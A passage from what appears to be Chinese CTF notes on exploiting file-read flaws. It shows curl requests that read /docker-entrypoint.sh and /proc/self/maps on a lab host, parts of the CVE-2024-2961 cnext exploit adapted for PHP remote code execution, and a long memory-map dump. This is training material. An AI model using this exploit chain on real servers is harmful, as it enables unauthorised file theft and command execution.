                    print(f"No Warning:{path}")
        except Exception as e:
            print(f"[!]测试{path}时出错:{str(e)}")
if __name__=="__main__":
    #当脚本作为主程序运行时,调用 test_paths 函数开始测试。
    test_paths()

CTF中文件读取漏洞常见读取路径 - 4sh3s - 博客园

curl -X POST http://node1.anna.nssctf.cn:28067/?file=/docker-entrypoint.sh -d "a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2"

or CVE-2024-2961漏洞原:cnext-exploits/cnext-exploit.py at main · ambionics/cnext-exploits

在这⾥只需要修改(如果我没记错的话)send函数(请求包的参数设置),download函数(内容的正则匹 配),将check_vulnerable函数中的部分failure函数的调⽤换成pass(使⽤时,会吞字符,但不影响漏 洞利⽤。具体原因笔者太菜,不清楚),即可正常运⾏脚本。

def send(self, path: str) -> Response:
        return self.session.post(
            self.url,
            params={"file": path},
            data={
                "a": b64decode("cHN5Y2hvCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFetWq88ihNWtZYYbaXqMoFf+9kkIi+P1ESiN3ZYuAjXbSzg1ExS1/tvEHQZAoJ9eyubdAX/bK6NRfQfhDyuAQ+bEtSBpUr5SA95RSrcK7G0D95jQ0DaMjmLwwB/i19oxtOLZDivhXwUdwbCOkO8DBv9u5jOFs63tjrzmbU5+f/C"),
                "b": b64decode("cHN5Y2hvCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFetWq88ihNWtZYYbaXqMoFf+9mkIi+P1ESiN3ZYuAjXbSzg1ExS1/tvEHQZAgJ+eyubdAX/bK6NRfQfBDyuAQ+bEtSBpUr5SA95RSrcK7G0D95jw0DaMjmLwwB/i19oxtOLZDivhXwUdwbCOkM8DBv9u5jOFs63tjrzmTU5+f/C")
            },
            headers={"Content-Type": "application/x-www-form-urlencoded"}
        )

    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.
        """
        path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(path)
        data = response.re.search(b"<\/code>([\s\S]*)", flags=re.S).group(1)
        print(response.text)
        return base64.decode(data)

@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep_time", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
    "pad",
    "Number of 0x100 chunks to pad with. If the website makes a lot of heap "
    "operations with this size, increase this. Defaults to 20.",
)

kezibei脚本

https://github.com/kezibei/php-filter-iconv 该脚本只要当前⽬录中有⽬标靶机的/proc/self/maps和libc.so⽂件,即可将payload跑出来,让我们⾃ ⼰去运⾏。 payload会随着当前maps的变化⽽变化,因此payload并不是固定的

https://github.com/kezibei/php-filter-iconv?tab=readme-ov-file

https://xyaxxya.github.io/posts/2b7eb6e9.html#ez-readfile

https://www.nssctf.cn/note/set/11874

通过任意文件下载获取目标的/proc/self/maps和libc-2.x.so,在本机和php-filter-iconv.py放在同目录,然后运行脚本即可生成php://filter/的RCE payload,详细参数调整如下代码即可。

…….
maps_path = ‘./maps’
cmd = ‘echo 123 > 1.txt’
sleep_time = 1
padding = 20

if not os.path.exists(maps_path):
exit(“[-]no maps file”)

regions = get_regions(maps_path)
heap, libc_info = get_symbols_and_addresses(regions)

libc_path = libc_info.path
print(“[*]download: “+libc_path)

libc_path = ‘./libc-2.23.so’
…….

curl -X POST http://node1.anna.nssctf.cn:28468/?file=/proc/self/maps -d "a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2"
55d9ac153000-55d9ac18b000 r--p 00000000 00:39 2658390                    /usr/sbin/apache2
55d9ac18b000-55d9ac1da000 r-xp 00038000 00:39 2658390                    /usr/sbin/apache2
55d9ac1da000-55d9ac1fe000 r--p 00087000 00:39 2658390                    /usr/sbin/apache2
55d9ac1fe000-55d9ac202000 r--p 000aa000 00:39 2658390                    /usr/sbin/apache2
55d9ac202000-55d9ac206000 rw-p 000ae000 00:39 2658390                    /usr/sbin/apache2
55d9ac206000-55d9ac20a000 rw-p 00000000 00:00 0
55d9ad330000-55d9ad4f9000 rw-p 00000000 00:00 0                          [heap]
7fce5d8fd000-7fce5d8fe000 r--p 00000000 00:39 2658353                    /usr/lib/x86_64-linux-gnu/libicudata.so.67.1
7fce5d8fe000-7fce5d8ff000 r-xp 00001000 00:39 2658353                    /usr/lib/x86_64-linux-gnu/libicudata.so.67.1
7fce5d8ff000-7fce5f414000 r--p 00002000 00:39 2658353                    /usr/lib/x86_64-linux-gnu/libicudata.so.67.1
7fce5f414000-7fce5f415000 r--p 01b16000 00:39 2658353                    /usr/lib/x86_64-linux-gnu/libicudata.so.67.1
7fce5f415000-7fce5f416000 rw-p 01b17000 00:39 2658353                    /usr/lib/x86_64-linux-gnu/libicudata.so.67.1
7fce5f416000-7fce5f45a000 rw-p 00000000 00:00 0
7fce5f45a000-7fce5f45d000 r--p 00000000 00:39 2650544                    /lib/x86_64-linux-gnu/libnss_files-2.31.so
7fce5f45d000-7fce5f464000 r-xp 00003000 00:39 2650544                    /lib/x86_64-linux-gnu/libnss_files-2.31.so
7fce5f464000-7fce5f466000 r--p 0000a000 00:39 2650544                    /lib/x86_64-linux-gnu/libnss_files-2.31.so
7fce5f466000-7fce5f467000 r--p 0000b000 00:39 2650544                    /lib/x86_64-linux-gnu/libnss_files-2.31.so
7fce5f467000-7fce5f468000 rw-p 0000c000 00:39 2650544                    /lib/x86_64-linux-gnu/libnss_files-2.31.so
7fce5f468000-7fce5f49e000 rw-p 00000000 00:00 0
7fce5f4a6000-7fce5f4a8000 rw-p 00000000 00:00 0
7fce5f4ae000-7fce5f4b0000 rw-p 00000000 00:00 0
7fce5fd60000-7fce5fd63000 r--p 00000000 00:39 2650526                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7fce5fd63000-7fce5fd74000 r-xp 00003000 00:39 2650526                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7fce5fd74000-7fce5fd78000 r--p 00014000 00:39 2650526                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7fce5fd78000-7fce5fd79000 r--p 00017000 00:39 2650526                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7fce5fd79000-7fce5fd7a000 rw-p 00018000 00:39 2650526                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7fce5fd7a000-7fce5fe10000 r--p 00000000 00:39 2651288                    /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28
7fce5fe10000-7fce5feec000 r-xp 00096000 00:39 2651288                    /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28
7fce5feec000-7fce5ff36000 r--p 00172000 00:39 2651288                    /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28
7fce5ff36000-7fce5ff41000 r--p 001bb000 00:39 2651288                    /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28
7fce5ff41000-7fce5ff44000 rw-p 001c6000 00:39 2651288                    /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28
7fce5ff44000-7fce5ff47000 rw-p 00000000 00:00 0
7fce60e00000-7fce61000000 rw-p 00000000 00:00 0
7fce61054000-7fce610d5000 rw-p 00000000 00:00 0
7fce610d5000-7fce610e1000 r--p 00000000 00:39 2659076                    /usr/lib/x86_64-linux-gnu/libsodium.so.23.3.0
7fce610e1000-7fce6111a000 r-xp 0000c000 00:39 2659076                    /usr/lib/x86_64-linux-gnu/libsodium.so.23.3.0
7fce6111a000-7fce6112c000 r--p 00045000 00:39 2659076                    /usr/lib/x86_64-linux-gnu/libsodium.so.23.3.0
7fce6112c000-7fce6112d000 ---p 00057000 00:39 2659076                    /usr/lib/x86_64-linux-gnu/libsodium.so.23.3.0
7fce6112d000-7fce6112e000 r--p 00057000 00:39 2659076                    /usr/lib/x86_64-linux-gnu/libsodium.so.23.3.0
7fce6112e000-7fce6112f000 rw-p 00058000 00:39 2659076                    /usr/lib/x86_64-linux-gnu/libsodium.so.23.3.0
7fce6112f000-7fce61246000 r--p 00000000 00:39 2659069                    /usr/lib/apache2/modules/libphp7.so
7fce61246000-7fce615fd000 r-xp 00117000 00:39 2659069                    /usr/lib/apache2/modules/libphp7.so
7fce615fd000-7fce61de1000 r--p 004ce000 00:39 2659069                    /usr/lib/apache2/modules/libphp7.so
7fce61de1000-7fce61de2000 ---p 00cb2000 00:39 2659069                    /usr/lib/apache2/modules/libphp7.so
7fce61de2000-7fce61e89000 r--p 00cb2000 00:39 2659069                    /usr/lib/apache2/modules/libphp7.so
7fce61e89000-7fce61e98000 rw-p 00d59000 00:39 2659069                    /usr/lib/apache2/modules/libphp7.so
7fce61e98000-7fce61eb9000 rw-p 00000000 00:00 0
7fce61eb9000-7fce61f3f000 r--p 00000000 00:39 2651243                    /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1
7fce61f3f000-7fce620e6000 r-xp 00086000 00:39 2651243                    /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1
7fce620e6000-7fce62176000 r--p 0022d000 00:39 2651243                    /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1
7fce62176000-7fce62177000 ---p 002bd000 00:39 2651243                    /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1
7fce62177000-7fce621a7000 r--p 002bd000 00:39 2651243                    /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1
7fce621a7000-7fce621a9000 rw-p 002ed000 00:39 2651243                    /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1
7fce621a9000-7fce621ad000 rw-p 00000000 00:00 0
7fce621ad000-7fce621ca000 r--p 00000000 00:39 2651286                    /usr/lib/x86_64-linux-gnu/libssl.so.1.1
7fce621ca000-7fce62218000 r-xp 0001d000 00:39 2651286                    /usr/lib/x86_64-linux-gnu/libssl.so.1.1
7fce62218000-7fce62232000 r--p 0006b000 00:39 2651286                    /usr/lib/x86_64-linux-gnu/libssl.so.1.1
7fce62232000-7fce62233000 ---p 00085000 00:39 2651286                    /usr/lib/x86_64-linux-gnu/libssl.so.1.1
7fce62233000-7fce6223c000 r--p 00085000 00:39 2651286                    /usr/lib/x86_64-linux-gnu/libssl.so.1.1
7fce6223c000-7fce62240000 rw-p 0008e000 00:39 2651286                    /usr/lib/x86_64-linux-gnu/libssl.so.1.1
7fce62251000-7fce62257000 rw-p 00000000 00:00 0
7fce62257000-7fce6226f000 rw-s 00000000 00:01 1535                       /dev/zero (deleted)
7fce6226f000-7fce62274000 r--p 00000000 00:39 2659608                    /usr/local/lib/php/extensions/no-debug-non-zts-20180731/sodium.so
7fce62274000-7fce6227c000 r-xp 00005000 00:39 2659608                    /usr/local/lib/php/extensions/no-debug-non-zts-20180731/sodium.so
7fce6227c000-7fce62281000 r--p 0000d000 00:39 2659608                    /usr/local/lib/php/extensions/no-debug-non-zts-20180731/sodium.so
7fce62281000-7fce62282000 ---p 00012000 00:39 2659608                    /usr/local/lib/php/extensions/no-debug-non-zts-20180731/sodium.so
7fce62282000-7fce62284000 r--p 00012000 00:39 2659608                    /usr/local/lib/php/extensions/no-debug-non-zts-20180731/sodium.so
7fce62284000-7fce62285000 rw-p 00014000 00:39 2659608                    /usr/local/lib/php/extensions/no-debug-non-zts-20180731/sodium.so
7fce62285000-7fce622a6000 rw-p 00000000 00:00 0
7fce622a6000-7fce622a9000 r--p 00000000 00:39 2658299                    /usr/lib/apache2/modules/mod_rewrite.so
7fce622a9000-7fce622b4000 r-xp 00003000 00:39 2658299                    /usr/lib/apache2/modules/mod_rewrite.so
7fce622b4000-7fce622b8000 r--p 0000e000 00:39 2658299                    /usr/lib/apache2/modules/mod_rewrite.so
7fce622b8000-7fce622b9000 r--p 00011000 00:39 2658299                    /usr/lib/apache2/modules/mod_rewrite.so
7fce622b9000-7fce622ba000 rw-p 00012000 00:39 2658299                    /usr/lib/apache2/modules/mod_rewrite.so
7fce622ba000-7fce622e5000 r--p 00000000 00:39 2651276                    /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0
7fce622e5000-7fce6237d000 r-xp 0002b000 00:39 2651276                    /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0
7fce6237d000-7fce623d9000 r--p 000c3000 00:39 2651276                    /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0
7fce623d9000-7fce623e4000 r--p 0011e000 00:39 2651276                    /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0
7fce623e4000-7fce623ee000 rw-p 00129000 00:39 2651276                    /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0
7fce623ee000-7fce623fd000 r--p 00000000 00:39 2650533                    /lib/x86_64-linux-gnu/libm-2.31.so
7fce623fd000-7fce62497000 r-xp 0000f000 00:39 2650533                    /lib/x86_64-linux-gnu/libm-2.31.so
7fce62497000-7fce62530000 r--p 000a9000 00:39 2650533                    /lib/x86_64-linux-gnu/libm-2.31.so
7fce62530000-7fce62531000 r--p 00141000 00:39 2650533                    /lib/x86_64-linux-gnu/libm-2.31.so
7fce62531000-7fce62532000 rw-p 00142000 00:39 2650533                    /lib/x86_64-linux-gnu/libm-2.31.so
7fce62532000-7fce62534000 rw-p 00000000 00:00 0
7fce62534000-7fce62535000 r--p 00000000 00:39 2658314                    /usr/lib/apache2/modules/mod_status.so
7fce62535000-7fce62538000 r-xp 00001000 00:39 2658314                    /usr/lib/apache2/modules/mod_status.so
7fce62538000-7fce6253a000 r--p 00004000 00:39 2658314                    /usr/lib/apache2/modules/mod_status.so
7fce6253a000-7fce6253b000 r--p 00005000 00:39 2658314                    /usr/lib/apache2/modules/mod_status.so
7fce6253b000-7fce6253c000 rw-p 00006000 00:39 2658314                    /usr/lib/apache2/modules/mod_status.so
7fce6253c000-7fce6253d000 r--p 00000000 00:39 2658305                    /usr/lib/apache2/modules/mod_setenvif.so
7fce6253d000-7fce6253f000 r-xp 00001000 00:39 2658305                    /usr/lib/apache2/modules/mod_setenvif.so
7fce6253f000-7fce62540000 r--p 00003000 00:39 2658305                    /usr/lib/apache2/modules/mod_setenvif.so
7fce62540000-7fce62541000 r--p 00003000 00:39 2658305                    /usr/lib/apache2/modules/mod_setenvif.so
7fce62541000-7fce62542000 rw-p 00004000 00:39 2658305                    /usr/lib/apache2/modules/mod_setenvif.so
7fce62542000-7fce62543000 r--p 00000000 00:39 2658297                    /usr/lib/apache2/modules/mod_reqtimeout.so
7fce62543000-7fce62545000 r-xp 00001000 00:39 2658297                    /usr/lib/apache2/modules/mod_reqtimeout.so
7fce62545000-7fce62546000 r--p 00003000 00:39 2658297                    /usr/lib/apache2/modules/mod_reqtimeout.so
7fce62546000-7fce62547000 r--p 00003000 00:39 2658297                    /usr/lib/apache2/modules/mod_reqtimeout.so
7fce62547000-7fce62548000 rw-p 00004000 00:39 2658297                    /usr/lib/apache2/modules/mod_reqtimeout.so
7fce62548000-7fce6254a000 r--p 00000000 00:39 2651248                    /usr/lib/x86_64-linux-gnu/libffi.so.7.1.0
7fce6254a000-7fce62550000 r-xp 00002000 00:39 2651248                    /usr/lib/x86_64-linux-gnu/libffi.so.7.1.0
7fce62550000-7fce62552000 r--p 00008000 00:39 2651248                    /usr/lib/x86_64-linux-gnu/libffi.so.7.1.0
7fce62552000-7fce62553000 r--p 00009000 00:39 2651248                    /usr/lib/x86_64-linux-gnu/libffi.so.7.1.0
7fce62553000-7fce62554000 rw-p 0000a000 00:39 2651248                    /usr/lib/x86_64-linux-gnu/libffi.so.7.1.0
7fce62554000-7fce62556000 r--p 00000000 00:39 2650530                    /lib/x86_64-linux-gnu/libkeyutils.so.1.9
7fce62556000-7fce62558000 r-xp 00002000 00:39 2650530                    /lib/x86_64-linux-gnu/libkeyutils.so.1.9
7fce62558000-7fce62559000 r--p 00004000 00:39 2650530                    /lib/x86_64-linux-gnu/libkeyutils.so.1.9
7fce62559000-7fce6255a000 r--p 00004000 00:39 2650530                    /lib/x86_64-linux-gnu/libkeyutils.so.1.9
7fce6255a000-7fce6255b000 rw-p 00005000 00:39 2650530                    /lib/x86_64-linux-gnu/libkeyutils.so.1.9
7fce6255b000-7fce6255f000 r--p 00000000 00:39 2650528                    /lib/x86_64-linux-gnu/libgpg-error.so.0.29.0
7fce6255f000-7fce62574000 r-xp 00004000 00:39 2650528                    /lib/x86_64-linux-gnu/libgpg-error.so.0.29.0
7fce62574000-7fce6257e000 r--p 00019000 00:39 2650528                    /lib/x86_64-linux-gnu/libgpg-error.so.0.29.0
7fce6257e000-7fce6257f000 ---p 00023000 00:39 2650528                    /lib/x86_64-linux-gnu/libgpg-error.so.0.29.0
7fce6257f000-7fce62580000 r--p 00023000 00:39 2650528                    /lib/x86_64-linux-gnu/libgpg-error.so.0.29.0
7fce62580000-7fce62581000 rw-p 00024000 00:39 2650528                    /lib/x86_64-linux-gnu/libgpg-error.so.0.29.0
7fce62581000-7fce62584000 r--p 00000000 00:39 2651292                    /usr/lib/x86_64-linux-gnu/libtasn1.so.6.6.0
7fce62584000-7fce62590000 r-xp 00003000 00:39 2651292                    /usr/lib/x86_64-linux-gnu/libtasn1.so.6.6.0
7fce62590000-7fce62594000 r--p 0000f000 00:39 2651292                    /usr/lib/x86_64-linux-gnu/libtasn1.so.6.6.0
7fce62594000-7fce62595000 ---p 00013000 00:39 2651292                    /usr/lib/x86_64-linux-gnu/libtasn1.so.6.6.0
7fce62595000-7fce62596000 r--p 00013000 00:39 2651292                    /usr/lib/x86_64-linux-gnu/libtasn1.so.6.6.0
7fce62596000-7fce62597000 rw-p 00014000 00:39 2651292                    /usr/lib/x86_64-linux-gnu/libtasn1.so.6.6.0
7fce62597000-7fce62598000 r--p 00000000 00:39 2752815                    /usr/lib/x86_64-linux-gnu/libbrotlicommon.so.1.0.9
7fce62598000-7fce62599000 r-xp 00001000 00:39 2752815                    /usr/lib/x86_64-linux-gnu/libbrotlicommon.so.1.0.9
7fce62599000-7fce625b8000 r--p 00002000 00:39 2752815                    /usr/lib/x86_64-linux-gnu/libbrotlicommon.so.1.0.9
7fce625b8000-7fce625b9000 r--p 00020000 00:39 2752815                    /usr/lib/x86_64-linux-gnu/libbrotlicommon.so.1.0.9
7fce625b9000-7fce625ba000 rw-p 00021000 00:39 2752815                    /usr/lib/x86_64-linux-gnu/libbrotlicommon.so.1.0.9
7fce625ba000-7fce625bd000 r--p 00000000 00:39 2752899                    /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25
7fce625bd000-7fce625cf000 r-xp 00003000 00:39 2752899                    /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25
7fce625cf000-7fce625d5000 r--p 00015000 00:39 2752899                    /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25
7fce625d5000-7fce625d6000 r--p 0001a000 00:39 2752899                    /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25
7fce625d6000-7fce625d7000 rw-p 0001b000 00:39 2752899                    /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25
7fce625d7000-7fce625da000 r--p 00000000 00:39 2651266                    /usr/lib/x86_64-linux-gnu/libkrb5support.so.0.1
7fce625da000-7fce625e1000 r-xp 00003000 00:39 2651266                    /usr/lib/x86_64-linux-gnu/libkrb5support.so.0.1
7fce625e1000-7fce625e4000 r--p 0000a000 00:39 2651266                    /usr/lib/x86_64-linux-gnu/libkrb5support.so.0.1
7fce625e4000-7fce625e5000 r--p 0000c000 00:39 2651266                    /usr/lib/x86_64-linux-gnu/libkrb5support.so.0.1
7fce625e5000-7fce625e6000 rw-p 0000d000 00:39 2651266                    /usr/lib/x86_64-linux-gnu/libkrb5support.so.0.1
7fce625e6000-7fce625ea000 r--p 00000000 00:39 2651262                    /usr/lib/x86_64-linux-gnu/libk5crypto.so.3.1
7fce625ea000-7fce62605000 r-xp 00004000 00:39 2651262                    /usr/lib/x86_64-linux-gnu/libk5crypto.so.3.1
7fce62605000-7fce62612000 r--p 0001f000 00:39 2651262                    /usr/lib/x86_64-linux-gnu/libk5crypto.so.3.1
7fce62612000-7fce62613000 ---p 0002c000 00:39 2651262                    /usr/lib/x86_64-linux-gnu/libk5crypto.so.3.1
7fce62613000-7fce62614000 r--p 0002c000 00:39 2651262                    /usr/lib/x86_64-linux-gnu/libk5crypto.so.3.1
7fce62614000-7fce62615000 rw-p 0002d000 00:39 2651262                    /usr/lib/x86_64-linux-gnu/libk5crypto.so.3.1
7fce62615000-7fce62616000 rw-p 00000000 00:00 0
7fce62616000-7fce62639000 r--p 00000000 00:39 2651264                    /usr/lib/x86_64-linux-gnu/libkrb5.so.3.3
7fce62639000-7fce62697000 r-xp 00023000 00:39 2651264                    /usr/lib/x86_64-linux-gnu/libkrb5.so.3.3
7fce62697000-7fce626df000 r--p 00081000 00:39 2651264                    /usr/lib/x86_64-linux-gnu/libkrb5.so.3.3
7fce626df000-7fce626ed000 r--p 000c8000 00:39 2651264                    /usr/lib/x86_64-linux-gnu/libkrb5.so.3.3
7fce626ed000-7fce626f0000 rw-p 000d6000 00:39 2651264                    /usr/lib/x86_64-linux-gnu/libkrb5.so.3.3
7fce626f0000-7fce626f4000 rw-p 00000000 00:00 0
7fce626f4000-7fce626f6000 r--p 00000000 00:39 2650517                    /lib/x86_64-linux-gnu/libcom_err.so.2.1
7fce626f6000-7fce626f7000 r-xp 00002000 00:39 2650517                    /lib/x86_64-linux-gnu/libcom_err.so.2.1
7fce626f7000-7fce626f8000 r--p 00003000 00:39 2650517                    /lib/x86_64-linux-gnu/libcom_err.so.2.1
7fce626f8000-7fce626f9000 r--p 00003000 00:39 2650517                    /lib/x86_64-linux-gnu/libcom_err.so.2.1
7fce626f9000-7fce626fa000 rw-p 00004000 00:39 2650517                    /lib/x86_64-linux-gnu/libcom_err.so.2.1
7fce626fa000-7fce62706000 r--p 00000000 00:39 2651250                    /usr/lib/x86_64-linux-gnu/libgcrypt.so.20.2.8
7fce62706000-7fce627d6000 r-xp 0000c000 00:39 2651250                    /usr/lib/x86_64-linux-gnu/libgcrypt.so.20.2.8
7fce627d6000-7fce62813000 r--p 000dc000 00:39 2651250                    /usr/lib/x86_64-linux-gnu/libgcrypt.so.20.2.8
7fce62813000-7fce62815000 r--p 00118000 00:39 2651250                    /usr/lib/x86_64-linux-gnu/libgcrypt.so.20.2.8
7fce62815000-7fce6281a000 rw-p 0011a000 00:39 2651250                    /usr/lib/x86_64-linux-gnu/libgcrypt.so.20.2.8
7fce6281a000-7fce62825000 r--p 00000000 00:39 2651252                    /usr/lib/x86_64-linux-gnu/libgmp.so.10.4.1
7fce62825000-7fce62881000 r-xp 0000b000 00:39 2651252                    /usr/lib/x86_64-linux-gnu/libgmp.so.10.4.1
7fce62881000-7fce62898000 r--p 00067000 00:39 2651252                    /usr/lib/x86_64-linux-gnu/libgmp.so.10.4.1
7fce62898000-7fce62899000 ---p 0007e000 00:39 2651252                    /usr/lib/x86_64-linux-gnu/libgmp.so.10.4.1
7fce62899000-7fce6289a000 r--p 0007e000 00:39 2651252                    /usr/lib/x86_64-linux-gnu/libgmp.so.10.4.1
7fce6289a000-7fce6289b000 rw-p 0007f000 00:39 2651252                    /usr/lib/x86_64-linux-gnu/libgmp.so.10.4.1
7fce6289b000-7fce628a7000 r--p 00000000 00:39 2651272                    /usr/lib/x86_64-linux-gnu/libnettle.so.8.4
7fce628a7000-7fce628c9000 r-xp 0000c000 00:39 2651272                    /usr/lib/x86_64-linux-gnu/libnettle.so.8.4
7fce628c9000-7fce628df000 r--p 0002e000 00:39 2651272                    /usr/lib/x86_64-linux-gnu/libnettle.so.8.4
7fce628df000-7fce628e0000 ---p 00044000 00:39 2651272                    /usr/lib/x86_64-linux-gnu/libnettle.so.8.4
7fce628e0000-7fce628e2000 r--p 00044000 00:39 2651272                    /usr/lib/x86_64-linux-gnu/libnettle.so.8.4
7fce628e2000-7fce628e3000 rw-p 00046000 00:39 2651272                    /usr/lib/x86_64-linux-gnu/libnettle.so.8.4
7fce628e3000-7fce628ec000 r--p 00000000 00:39 2651258                    /usr/lib/x86_64-linux-gnu/libhogweed.so.6.4
7fce628ec000-7fce628ff000 r-xp 00009000 00:39 2651258                    /usr/lib/x86_64-linux-gnu/libhogweed.so.6.4
7fce628ff000-7fce62929000 r--p 0001c000 00:39 2651258                    /usr/lib/x86_64-linux-gnu/libhogweed.so.6.4
7fce62929000-7fce6292a000 ---p 00046000 00:39 2651258                    /usr/lib/x86_64-linux-gnu/libhogweed.so.6.4
7fce6292a000-7fce6292b000 r--p 00046000 00:39 2651258                    /usr/lib/x86_64-linux-gnu/libhogweed.so.6.4
7fce6292b000-7fce6292c000 rw-p 00047000 00:39 2651258                    /usr/lib/x86_64-linux-gnu/libhogweed.so.6.4
7fce6292c000-7fce62960000 r--p 00000000 00:39 2651254                    /usr/lib/x86_64-linux-gnu/libgnutls.so.30.29.1
7fce62960000-7fce62a81000 r-xp 00034000 00:39 2651254                    /usr/lib/x86_64-linux-gnu/libgnutls.so.30.29.1
7fce62a81000-7fce62b17000 r--p 00155000 00:39 2651254                    /usr/lib/x86_64-linux-gnu/libgnutls.so.30.29.1
7fce62b17000-7fce62b28000 r--p 001ea000 00:39 2651254                    /usr/lib/x86_64-linux-gnu/libgnutls.so.30.29.1
7fce62b28000-7fce62b2a000 rw-p 001fb000 00:39 2651254                    /usr/lib/x86_64-linux-gnu/libgnutls.so.30.29.1
7fce62b2a000-7fce62b2c000 rw-p 00000000 00:00 0
7fce62b2c000-7fce62b3d000 r--p 00000000 00:39 2651298                    /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0
7fce62b3d000-7fce62b72000 r-xp 00011000 00:39 2651298                    /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0
7fce62b72000-7fce62ca9000 r--p 00046000 00:39 2651298                    /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0
7fce62ca9000-7fce62cad000 r--p 0017c000 00:39 2651298                    /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0
7fce62cad000-7fce62cae000 rw-p 00180000 00:39 2651298                    /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0
7fce62cae000-7fce62caf000 r--p 00000000 00:39 2752817                    /usr/lib/x86_64-linux-gnu/libbrotlidec.so.1.0.9
7fce62caf000-7fce62cb7000 r-xp 00001000 00:39 2752817                    /usr/lib/x86_64-linux-gnu/libbrotlidec.so.1.0.9
7fce62cb7000-7fce62cba000 r--p 00009000 00:39 2752817                    /usr/lib/x86_64-linux-gnu/libbrotlidec.so.1.0.9
7fce62cba000-7fce62cbb000 r--p 0000b000 00:39 2752817                    /usr/lib/x86_64-linux-gnu/libbrotlidec.so.1.0.9
7fce62cbb000-7fce62cbc000 rw-p 0000c000 00:39 2752817                    /usr/lib/x86_64-linux-gnu/libbrotlidec.so.1.0.9
7fce62cbc000-7fce62cbf000 r--p 00000000 00:39 2752857                    /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.11.5
7fce62cbf000-7fce62cc7000 r-xp 00003000 00:39 2752857                    /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.11.5
7fce62cc7000-7fce62cca000 r--p 0000b000 00:39 2752857                    /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.11.5
7fce62cca000-7fce62ccb000 ---p 0000e000 00:39 2752857                    /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.11.5
7fce62ccb000-7fce62ccc000 r--p 0000e000 00:39 2752857                    /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.11.5
7fce62ccc000-7fce62ccd000 rw-p 0000f000 00:39 2752857                    /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.11.5
7fce62ccd000-7fce62cdb000 r--p 00000000 00:39 2752860                    /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.11.5
7fce62cdb000-7fce62d0e000 r-xp 0000e000 00:39 2752860                    /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.11.5
7fce62d0e000-7fce62d1d000 r--p 00041000 00:39 2752860                    /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.11.5
7fce62d1d000-7fce62d1e000 ---p 00050000 00:39 2752860                    /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.11.5
7fce62d1e000-7fce62d20000 r--p 00050000 00:39 2752860                    /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.11.5
7fce62d20000-7fce62d21000 rw-p 00052000 00:39 2752860                    /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.11.5
7fce62d21000-7fce62d23000 rw-p 00000000 00:00 0
7fce62d23000-7fce62d2f000 r--p 00000000 00:39 2651256                    /usr/lib/x86_64-linux-gnu/libgssapi_krb5.so.2.2
